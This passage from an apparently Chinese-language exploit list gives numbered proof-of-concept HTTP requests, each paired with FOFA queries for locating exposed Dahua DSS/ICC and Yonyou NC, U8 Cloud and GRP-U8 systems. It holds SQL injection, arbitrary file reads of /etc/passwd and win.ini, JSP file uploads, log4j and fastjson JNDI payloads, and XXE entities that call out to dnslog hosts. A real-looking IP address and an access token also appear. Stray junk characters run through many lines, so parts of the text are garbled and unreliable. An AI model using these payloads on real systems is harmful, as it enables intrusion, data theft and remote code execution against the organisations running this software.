User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
9 I0 m, m" Q9 ]& Z) T# A/ ^Connection: close
* T  a+ R. T, L3 g! ]# ~1 IAccept: */*
Accept-Language: en
! A, a! r/ `. @: A6 `! SAccept-Encoding: gzip
3 W; z8 w8 N; m

17. 大华 DSS itcBulletin SQL 注入
5 z4 z/ b: Z4 F3 B$ vFOFA：app="dahua-DSS"
2 b4 `4 a/ S/ C+ ~POST /portal/services/itcBulletin?wsdl HTTP/1.1
. _# l- E4 D$ k! f4 _- S6 T$ nHost: x.x.x.x
2 Q) A! y: G) ~, i- m# e6 A5 \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! C; Y9 ^9 D2 l# I, ^Connection: close
; E! G9 Q  i# N& BContent-Length: 345
% O  x+ e( H8 g7 V) j% ?Accept-Encoding: gzip

4 g0 }! F; N% _+ v3 a<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
7 f# B& s; ~/ U  C* @! N: @) q<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
' d; n/ |' G8 j+ s! O, [      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
3 Z7 z7 V6 h3 v* K  a9 o      </netMarkings>
4 b+ ]# _% u' `+ |. a: h+ T  S    </ns1:deleteBulletin>
* H/ m- x' J" L" r1 Q0 a  </s11:Body>
0 I9 ]0 T5 m: r2 }! q</s11:Envelope>

- T, O* |9 x, w5 J8 E
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
4 J5 ?6 S+ @' H4 vFOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
' V9 k  {9 |6 r9 T1 Q( gHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
- f- I" U2 g2 j$ B* O/ SAccept: */*
Connection: keep-alive

% c) N" d& y% w- v! s

' b. o: \8 r2 K; T/ d19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
. M& n7 k0 w* n) l" {; xFOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
- n' F; e- K! Z# ]6 K- OUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
6 Z! ^) y5 s0 Q) t2 J$ F9 ]3 O) \. MAccept-Encoding: gzip, deflate
5 b2 f3 v& {& bAccept: */*
, M+ w) g" y$ p) z1 b7 g* Q! ?Connection: keep-alive
# S- d0 I( \2 b) b

  {2 C" e% d9 e20. 大华ICC智能物联综合管理平台任意文件读取
- Y  Y1 x! @7 o7 y4 ^* AFOFA：body="*客户端会小于800*"
4 v. ]4 \( \7 h4 tGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
: O9 ^/ K% b- Y- |' k8 P9 r) pConnection: close
Accept: */*
, H  m# W0 f' r+ g: _Accept-Language: en
# ~; c$ f# }( `& D( HAccept-Encoding: gzip
' ~6 u1 a! r2 b+ e) m- u1 f

21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
. q6 b; k. U7 Z; b5 H' [7 THost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
Accept-Encoding: gzip
Connection: close
# t5 b" q1 M& x$ n1 J9 ?% NContent-Type: application/json;charset=utf-8

{
"a":{
& _* r- G$ j: r* |0 d# b+ z3 m   "@type":"com.alibaba.fastjson.JSONObject",
* n6 C* B% D; c; s+ O  q    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
- C$ a9 m, X, m7 a% y! E" n}

, @. z5 Y% d8 h' ~* j4 y1 q9 ^
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
8 q' Z) v% M7 O. D1 v& G& VContent-Type: application/json;charset=utf-8

$ N; `) M: s- V9 a& J3 n{
"loginName":"${jndi:ldap://dnslog}"
, h" |8 p9 q; o& `3 F- ?8 M. t0 ~, @8 Y% p}



23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
) u" p6 \& e' W* k: yFOFA：icon_hash="-1935899595"
0 o1 m- P. o7 I8 X' S/ L; Y) ?POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
& i2 n; \: j$ s4 UHost: your-ip
, f2 W$ N; i6 n2 JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip
) }5 a8 D0 d- a  Q3 N4 Q6 ~Connection: close

{
    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
( a% v/ l1 u8 z; q1 P       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
1 ^/ K% ?. q  }# W, `}
1 W7 M/ H0 K5 K+ Y0 n( \2 v# x- o
4 v  P% O5 Z, B* x9 f
5 |- z( ~0 Q, p- o& r24. 用友NC 6.5 accept.jsp任意文件上传
- k. P3 ~' @. H$ Y5 R- Z; ZFOFA：icon_hash="1085941792"
% C+ ~- l" v, ~1 f- W* m, Z. jPOST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
9 L  C& e! D8 ~7 \/ \2 PUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
. G* |9 L' m% _# U! @* PContent-Length: 449
( a# K3 P$ }2 U* ?9 x3 M+ G2 SAccept: */*
Accept-Encoding: gzip
  ]* t* V8 D' @$ P' bContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
' ^) h5 z! a9 {. ^4 }Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain

9 w9 D3 _5 @% _! G2 y, o. z1 ^5 }<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"

% i4 |2 l0 h9 d4 @\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
0 ?' F! T+ g( n+ e: f. x' l

25. 用友NC registerServlet JNDI 远程代码执行
6 V" m2 t" Q0 cFOFA：app="用友-UFIDA-NC"
0 l& N2 I  Q+ d2 e) b0 E9 O% nPOST /portal/registerServlet HTTP/1.1
Host: your-ip
& e6 D$ R* }, l8 m% |( a+ ]% IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
/ U- x$ a* s0 h. I: u6 V' G# NAccept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded
+ o. M) N# |  x2 H' r0 j1 G  [
type=1&dsname=ldap://dnslog

7 L' t: ^; |" O4 H- c. l: G) |
3 i. F# k4 o  U3 C
26. 用友NC linkVoucher SQL注入
6 x* j: |4 ~. A/ U+ vFOFA：app="用友-UFIDA-NC"
; M, {9 c/ A% ]+ z0 t9 \7 kGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
' T% J) E( P$ @* _. ?3 ^! t" FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 q0 z. K3 |& L! Q5 e$ t0 ~  `- }Content-Type: application/x-www-form-urlencoded
2 F3 k) x9 w' \9 @- y5 VAccept-Encoding: gzip, deflate
' [% o* W& w+ |Accept: */*
Connection: keep-alive

, z% g. _% g/ m" n) a* n) @* M- a
27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
) k$ @1 o- F3 U2 p( `Connection: close
' ?7 P- N: z. |6 L) |6 @Content-Type: text/xml; charset=utf-8


28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
  S" A6 g4 A' b  U4 \* y+ n* QPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
$ T$ B+ A2 p5 S: b8 |/ u0 ^: z+ \Connection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
" S; J0 g( F; u: {% YAccept-Encoding: gzip

! V, x* k% n7 ?4 d/ G: n------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
* y: ^3 I  V7 }4 c2 f# z/ v2 {Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream
) L: V3 ]+ P6 ?2 \
<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
- z8 M! i# R. e4 W# m+ ?+ |4 x0 z" ]
1 J) O* C/ N' j1 a5 Y+ s
/ t# a( F: Z  N$ v/uapim/static/pages/nc/head.jsp
1 u; }, m, z8 b& P, @7 n6 T
/ p; `0 `/ i$ `7 R3 r) G' ?29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
5 e9 |6 v8 @5 j. r( GHost: your-ip
/ V$ B1 i8 N& q* E! y$ ~% W9 mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 K: U: P2 M* n8 H3 K# j( s) L9 u3 `Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
$ i' i9 S  L" q1 OAccept: */*
Connection: keep-alive
! X; P1 x+ j$ R

7 Y9 V. o: L( ?* c/ V: C30. 用友NC importPml SQL注入
2 I: d' X+ ]% S* p9 NFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
" z7 k8 A0 u; X# YHost: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
" U8 r) `$ P6 B! ^0 OConnection: close
' H' A7 Y) T4 N2 I
------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
7 N) |9 P/ q' v' k. }------WebKitFormBoundaryH970hbttBhoCyj9V--
$ b4 u, L* V$ R9 p4 N$ Z( ?

$ g7 N  n' ]$ |9 O& l' W31. 用友NC runStateServlet SQL注入
version<=6.5
% O( S' x6 B/ H: K6 N$ YFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
7 p; Y. [, n; H7 }/ L3 {8 S; Y# e$ |2 @GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
$ J* x0 @  a/ {4 {8 kHost: host
4 S* J& Q9 L1 m1 t: X; ?6 ^7 J2 EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
7 J4 G  G: V9 A9 I, U
, E  G& b- s1 j( g% [1 M5 T
32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
FOFA：app="用友-UFIDA-NC"
. j0 D" l8 y" @% }* ]7 z6 q4 l& fGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
3 K8 S* M7 q' p9 ?7 SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
2 j; |; ^& k- R! `4 R8 BAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

1 m  z& T) s8 e, k4 f2 g  D
  O7 o+ Z* f# r2 S" D33. 用友NC downTax/download SQL注入
- n% V! {. X2 G4 }8 H% Sversion：NC6.5FOFA：app="用友-UFIDA-NC"
7 a: l; ]' _  A  ]0 bGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
0 V# P% v7 V3 W4 K1 D, N+ k7 |Host: your-ip
$ l5 k1 n/ ~0 [  v6 n) J/ wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
, y  M* ~- D6 B+ DAccept: */*
Connection: keep-alive


/ b; a$ U6 R8 A34. 用友NC warningDetailInfo接口SQL注入
9 a7 s3 Z) [7 E  `FOFA：app="用友-UFIDA-NC"
' \) X! I- n3 |% x! N* fGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
' t' d8 c3 k  |! U% OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
) }& d2 T4 g# h/ F! t" DAccept-Encoding: gzip, deflate
5 J: r: V+ @% ^: n/ DAccept: */*
Connection: keep-alive

, T% {1 X' t" F
35. 用友NC-Cloud importhttpscer任意文件上传
6 k  q' T, _4 F! sFOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
$ f4 }% s- R, D( jAccept-Encoding: gzip, deflate
& D; h- f% I5 b( t5 M" G8 C: L0 y1 M$ m" mAccept: */*
Connection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
$ L, |' d. ^- a7 s' n* R8 Z* dContent-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
6 ]( d4 N/ R( y# `! a4 Y
--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

$ D* S" ]: `6 T% Z$ t4 a7 u<%out.println(1111*1111);%>
8 a  q, b0 Y" C5 o2 u& ?  H0 [--fd28cb44e829ed1c197ec3bc71748df0--

% y- o* Z( |5 ]$ x/ I* F
36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
- J. U# J: T% [2 I. d' h+ fPOST /uapws/soapFormat.ajax HTTP/1.1
, s  ^" j) d0 w5 kHost: 192.168.40.130:8989
  z, N6 Y. `  c+ v; L+ zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
$ [4 y5 W5 J, F/ J" D) M# Y: BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
- u% u% B+ G8 D8 ]) q9 m; M, rAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, d3 m0 B8 ~0 ~" Q1 L' q) f0 E/ `3 O0 UConnection: close
2 I* I+ c" o$ w+ t! s: ]; \# c. f+ gContent-Type: application/x-www-form-urlencoded
, S$ n# `) t4 Y! t' L) IUpgrade-Insecure-Requests: 1

# ~! e# h4 s% Q" cmsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
( E8 }9 K8 M# y. |! n) I5 [' S+ `

37. 用友NC-Cloud IUpdateService XXE
( D% U& X0 E# m7 m% y) t# PFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
/ J3 e$ |% z9 M9 [6 x8 A4 aPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
- H( p: q( ?5 N' u1 B, iHost: 192.168.40.130:8989
9 o! L8 v# [; L. QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/xml;charset=UTF-8
- C# b& C6 t+ a% w1 {! _3 V3 BSOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
7 V5 l( ~, j; s- W' r$ Z# g<soapenv:Body>
<iup:getResult>
<!--type: string-->
<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
</iup:getResult>
</soapenv:Body>
</soapenv:Envelope>
. O4 F; m5 f1 p! V9 b


9 y# c$ J0 Q0 Z38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
! a9 E8 R4 n5 [POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
* X' b; B& l+ L& l2 `Content-Length: 260
( E2 r0 e! r9 Y- s9 pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
& K3 k" J$ l: x" i. F: r/ xAccept-Language: zh-CN,zh;q=0.9
# L2 u7 ]  d5 ~; K% c% E) @Connection: close
1 M# P$ C, S* t1 X* ?8 `Content-Type: application/x-www-form-urlencoded

8 {% f/ K* e4 h. v& r9 Q/ n( u__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>

: C% ~( J3 g6 s- I
39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
; s5 K" Y% X, g+ C5 ~POST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
2 `: v' r- g* P! ?( X- DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
& Q  R1 @7 l. {3 A% AConnection: close
6 V2 z7 {8 x. XContent-Length: 85
Accept: */*
0 L' }# q/ _2 o' e7 C( OAccept-Language: en
, C* e( z- r" V9 bContent-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
( s( w# M5 M/ T- M. [  O& oAccept-Encoding: gzip

usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
+ \5 ]% @2 B& I  A/ w

! d# ^( i6 Q# P3 z! U; ]40. 用友U8-Cloud XChangeServlet XXE
" h- u1 P+ |3 a% L. cFOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
0 |+ b& ^) q  e% XHost: x.x.x.x
4 U$ i% F+ H$ JUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
Connection: close

<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
$ N  ^) V* i3 O4 E! J
2 ?( |: a6 G% x+ v; T
9 ]+ h5 L" J2 i9 B1 `41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
" Q0 G( h8 y2 q! ^+ y0 \3 ^FOFA：app="用友-U8-Cloud"
4 i  y" }5 K% {1 @7 p2 yGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 _2 E- a" c$ V8 dContent-Type: application/json
Accept-Encoding: gzip
Connection: close
/ J0 C7 L* F4 E( n9 u

, M7 {+ p. q6 h/ a1 Y8 _/ N42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
8 \, z5 g1 |7 [7 ?* yUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD
$ L; O) K( j* t; ^  O: Y

http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
2 i5 x% h7 T. y! U7 V! J
( ^* M1 A0 J. @43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
: }' t5 ]8 [" j5 v  k4 r" PHost: your-ip
. u7 J8 V% f0 c& d2 AUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
( ~& r. @" n& WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
% j5 H0 _$ t$ rAccept-Language: zh-CN,zh;q=0.9
. x- m2 w3 Y# t; y$ YConnection: close
4 q3 |- y# k, y+ C5 l7 m. s. VSOAPAction:
Content-Type: text/xml;charset=UTF-8

! L! c8 Q6 _& B; x& N. v* d<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
) F' z4 O& H, L+ d9 A   <soapenv:Header/>
, t0 q0 f1 G0 G% [/ Q3 }; I4 y   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
0 e' H  M: w9 i2 b/ R5 B  t         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
/ P( W5 `) \" B. \. y& p4 Q% Z   </soapenv:Body>
) k  W7 z( F4 `3 u/ M</soapenv:Envelope>

1 T0 I' `$ u7 g5 D
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
: E% L( L& {6 Z" R  lGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
4 C* X- X6 M+ J! @Accept-Language: zh-CN,zh;q=0.9
Connection: close
. Q: j2 W+ C: @

6 g7 X* W8 |! I: l3 U) Z7 r5 h( ]45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
& ], R- Y" k# U8 jHost: 192.168.40.130:222
) P- h. e& J  F. s: L/ p4 EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
/ D' B- a. g* R7 _- sContent-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 D( p1 ~) p( \; o; NContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

reqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
5 v+ d$ X9 T6 ?8 P2 v+ h8 h

46. 用友GRP-U8 sqcxIndex.jsp SQL注入
# e  [) X2 @6 g, K$ w+ l7 {FOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
/ |! U2 |# Q9 EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
1 c: X) i9 c+ `7 }Accept-Language: zh-CN,zh;q=0.9
" r# A6 w+ b; _. A" S8 HConnection: close

3 @2 {7 d! F, e  ^
2 }' D- t+ A: r& r' h( j* E9 B. O- u47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
0 @; u8 g# g7 P; kGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
# F" O1 O% I0 l6 x& f4 i( M* ~Host: x.x.x.x
" G% h; x9 }2 lCache-Control: max-age=0
  h" V& t$ \& C) ?. GUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
